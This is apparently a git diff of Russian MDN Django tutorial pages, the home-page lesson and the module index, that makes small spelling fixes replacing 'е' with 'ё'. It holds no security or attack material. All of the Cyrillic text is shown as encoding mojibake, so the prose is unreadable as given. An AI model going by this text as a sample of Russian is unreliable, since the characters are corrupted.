+ <li>ΠœΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠΉΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ отобраТСния Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… количСство ΠΆΠ°Π½Ρ€ΠΎΠ² ΠΈ количСство ΠΊΠ½ΠΈΠ³, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат Π² своих Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Ρ… ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ слово (Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π° рСгистра), Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°ΠΉΡ‚Π΅ эти значСния Π² шаблон.</li>
</ol>
<ul>
@@ -341,9 +341,9 @@ def index(request):
<h2 id="Π˜Ρ‚ΠΎΠ³">Π˜Ρ‚ΠΎΠ³</h2>
-<p>ΠœΡ‹ создали домашнюю страницу для нашСго сайта β€” HTML страница, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ количСство Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… записСй ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ содСрТит ссылки Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ "всС-Π΅Ρ‰Π΅-Π±ΡƒΠ΄ΡƒΡ‚-созданы" страницы. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ ΠΈΠ·ΡƒΡ‡ΠΈΠ»ΠΈ большоС количСство Π±Π°Π·ΠΎΠ²ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± url-прСобразованиях, отобраТСниях, запросах ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ наши ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Ρƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π² ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, созданиС ΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ шаблонов.</p>
+<p>ΠœΡ‹ создали домашнюю страницу для нашСго сайта β€” HTML страница, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ количСство Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… записСй ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ содСрТит ссылки Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ "всС-Π΅Ρ‰Ρ‘-Π±ΡƒΠ΄ΡƒΡ‚-созданы" страницы. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ ΠΈΠ·ΡƒΡ‡ΠΈΠ»ΠΈ большоС количСство Π±Π°Π·ΠΎΠ²ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± url-прСобразованиях, отобраТСниях, запросах ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ наши ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Ρƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π² ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, созданиС ΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ шаблонов.</p>
-<p>Π’Β  ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ части, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π½Π°ΡˆΠΈΡ… Π½ΠΎΠ²Ρ‹Ρ… Π·Π½Π°Π½ΠΈΠΉ, ΠΌΡ‹Β  создадим Π΅Ρ‰Π΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ страницы.</p>
+<p>Π’Β  ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ части, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π½Π°ΡˆΠΈΡ… Π½ΠΎΠ²Ρ‹Ρ… Π·Π½Π°Π½ΠΈΠΉ, ΠΌΡ‹Β  создадим Π΅Ρ‰Ρ‘ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ страницы.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/server-side/django/index.html b/files/ru/learn/server-side/django/index.html
index 8993390384..76beccc18d 100644
--- a/files/ru/learn/server-side/django/index.html
+++ b/files/ru/learn/server-side/django/index.html
@@ -27,7 +27,7 @@ translation_of: Learn/Server-side/Django
<dl>
<dt><a href="/ru/docs/Learn/Server-side/Django/Introduction">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² Django</a></dt>
- <dd>Π’ этой ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΠΎ DjangoΒ ΠΌΡ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° вопрос "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Django?"Β ΠΈ сдСлаСм ΠΎΠ±Π·ΠΎΡ€ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ этот Π²Π΅Π±-фрСймворк особСнным. ΠœΡ‹ ΠΊΡ€Π°Ρ‚ΠΊΠΎ рассмотрим основныС особСнности, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π», Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρƒ нас Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ возмоТности ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ Π² этом ΠΌΠΎΠ΄ΡƒΠ»Π΅. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· основных ΡΡ‚Ρ€ΠΎΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ² прилоТСния Django, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚Π΅ ΠΊ установкС ΠΈ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</dd>
+ <dd>Π’ этой ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΠΎ DjangoΒ ΠΌΡ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° вопрос "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Django?"Β ΠΈ сдСлаСм ΠΎΠ±Π·ΠΎΡ€ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ этот Π²Π΅Π±-фрСймворк особСнным. ΠœΡ‹ ΠΊΡ€Π°Ρ‚ΠΊΠΎ рассмотрим основныС особСнности, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π», Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρƒ нас Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ возмоТности ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ Π² этом ΠΌΠΎΠ΄ΡƒΠ»Π΅. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· основных ΡΡ‚Ρ€ΠΎΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ² прилоТСния Django, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΊ установкС ΠΈ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</dd>
<dt><a href="/ru/docs/Learn/Server-side/Django/development_environment">Установка срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Django</a></dt>
<dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Django, ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ, ΠΊΠ°ΠΊ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΈ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ срСду Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Django для Windows, Linux (Ubuntu) ΠΈ Mac OS X β€” ΠΊΠ°ΠΊΡƒΡŽΒ Π±Ρ‹Β ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ систСму Π²Ρ‹ Π½Π΅ использовали, эта ΡΡ‚Π°Ρ‚ΡŒΡ Π΄ΠΎΠ»ΠΆΠ½Π° Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ потрСбуСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Django-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ .</dd>
<dt><a href="/ru/docs/Learn/Server-side/Django/Tutorial_local_library_website">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Django: Π’Π΅Π±-сайт мСстной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ</a></dt>
@@ -41,19 +41,19 @@ translation_of: Learn/Server-side/Django
<dt><a href="/ru/docs/Learn/Server-side/Django/Home_page">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Django Ρ‡Π°ΡΡ‚ΡŒ 5: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Π³Π»Π°Π²Π½ΠΎΠΉ страницы </a></dt>
<dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ для отобраТСния нашСй ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠΎΠ»Π½ΠΎΠΉ страницы β€” Π³Π»Π°Π²Π½ΠΎΠΉ страницы сайта мСстной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, сколько записСй Ρƒ нас Π΅ΡΡ‚ΡŒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΈ прСдоставляСт ссылки Π½Π° боковых панСлях на Π΄Ρ€ΡƒΠ³ΠΈΠ΅ наши страницы. По ΠΏΡƒΡ‚ΠΈ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ практичСский ΠΎΠΏΡ‹Ρ‚ написания основных ΠΊΠ°Ρ€Ρ‚ ΠΈ прСдставлСний URL, получСния записСй ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ использования шаблонов.</dd>
<dt><a href="/ru/docs/Learn/Server-side/Django/Generic_views">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Django Ρ‡Π°ΡΡ‚ΡŒ 6: ΠžΠ±Ρ‰ΠΈΠΉ список и подробныС прСдставлСния</a></dt>
- <dd>Π­Ρ‚ΠΎ руководство Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ наш сайт мСстной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, добавляя список ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ страницы для ΠΊΠ½ΠΈΠ³ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΡƒΠ·Π½Π°Π΅ΠΌ ΠΎΠ± ΠΎΠ±Ρ‰ΠΈΡ… прСдставлСниях Π½Π° основС классов ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ количСство ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΈΡΠ°Ρ‚ΡŒ для случаСв ΠΎΠ±Ρ‰Π΅Π³ΠΎ использования. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ URL-адрСсов Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ, ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π±Π°Π·ΠΎΠ²ΠΎΠ΅ сопоставлСниС шаблонов.</dd>
+ <dd>Π­Ρ‚ΠΎ руководство Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ наш сайт мСстной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, добавляя список ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ страницы для ΠΊΠ½ΠΈΠ³ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΡƒΠ·Π½Π°Π΅ΠΌ ΠΎΠ± ΠΎΠ±Ρ‰ΠΈΡ… прСдставлСниях Π½Π° основС классов ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ количСство ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΈΡΠ°Ρ‚ΡŒ для случаСв ΠΎΠ±Ρ‰Π΅Π³ΠΎ использования. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ URL-адрСсов Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ, ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π±Π°Π·ΠΎΠ²ΠΎΠ΅ сопоставлСниС шаблонов.</dd>
<dt><a href="/ru/docs/Learn/Server-side/Django/Sessions">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Django Ρ‡Π°ΡΡ‚ΡŒ 7: Β Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° сСссий</a></dt>
<dd>Π­Ρ‚ΠΎ руководство Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ наш сайт мСстной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, добавляя счётчик посСщСний Π΄ΠΎΠΌΠ°ΡˆΠ½Π΅ΠΉΒ ΡΡ‚Ρ€Π°Π½ΠΈΡ†Ρ‹.Β Π­Ρ‚ΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½ΠΎ ΠΎΠ½ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ структуру сСссии, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ постоянноС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π½Π° Π²Π°ΡˆΠΈΡ… собствСнных сайтах.</dd>
<dt><a href="/ru/docs/Learn/Server-side/Django/Authentication">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Django Ρ‡Π°ΡΡ‚ΡŒ 8: Авторизация ΠΈ ΠΏΡ€Π°Π²Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ</a></dt>
- <dd>Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π° ваш сайт со своими ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ записями ΠΈ ΠΊΠ°ΠΊ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π΄Π΅Π»Π°Ρ‚ΡŒΒ ΠΈ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π° основС Ρ‚ΠΎΠ³ΠΎ, зарСгистрированы Π»ΠΈ ΠΎΠ½ΠΈ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, ΠΈ ΠΈΡ… допусках. Π’ Ρ€Π°ΠΌΠΊΠ°Ρ… этой дСмонстрации ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ сайт мСстной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² страницы Π²Ρ…ΠΎΠ΄Π° ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ страницы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ ΠΏΠ΅Ρ€ΡΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ страницы для просмотра ΠΊΠ½ΠΈΠ³, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ взяты Π½Π° Ρ€ΡƒΠΊΠΈ.</dd>
+ <dd>Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π° ваш сайт со своими ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ записями ΠΈ ΠΊΠ°ΠΊ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π΄Π΅Π»Π°Ρ‚ΡŒΒ ΠΈ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π° основС Ρ‚ΠΎΠ³ΠΎ, зарСгистрированы Π»ΠΈ ΠΎΠ½ΠΈ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, ΠΈ ΠΈΡ… допусках. Π’ Ρ€Π°ΠΌΠΊΠ°Ρ… этой дСмонстрации ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ сайт мСстной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² страницы Π²Ρ…ΠΎΠ΄Π° ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ страницы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ ΠΏΠ΅Ρ€ΡΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ страницы для просмотра ΠΊΠ½ΠΈΠ³, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ взяты Π½Π° Ρ€ΡƒΠΊΠΈ.</dd>
<dt><a href="/ru/docs/Learn/Server-side/Django/Forms">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Django Ρ‡Π°ΡΡ‚ΡŒ 9: Π Π°Π±ΠΎΡ‚Π° с Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ</a></dt>
<dd>Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a> Π² Django, ΠΈ Β Π² частности, самый простой способ ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡ‹ для создания, обновлСния ΠΈ удалСния экзСмпляров ΠΌΠΎΠ΄Π΅Π»ΠΈ. Π’ Ρ€Π°ΠΌΠΊΠ°Ρ… этой дСмонстрации ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ сайт мСстной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ€ΠΈ ΠΌΠΎΠ³Π»ΠΈ Π²Π½ΠΎΡΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ ΠΊΠ½ΠΈΠ³ΠΈ, ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ, ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ наши собствСнныС Ρ„ΠΎΡ€ΠΌΡ‹ (Π° Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ администратора).</dd>
<dt><a href="/ru/docs/Learn/Server-side/Django/Testing">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Django Ρ‡Π°ΡΡ‚ΡŒ10: ВСстированиС Π²Π΅Π±-прилоТСния Django</a></dt>
- <dd>По ΠΌΠ΅Ρ€Π΅ роста Π²Π΅Π±-сайтов становится слоТнСС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽΒ β€” трСбуСтся большС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ взаимодСйствиС ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌΠΈ услоТняСтся, нСбольшоС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π² ΠΎΠ΄Π½ΠΎΠΉ области ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅Β Ρ‚Π΅ΡΡ‚Ρ‹Β Π΄Π»Ρ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π΅Π³ΠΎ влияния Π½Π° 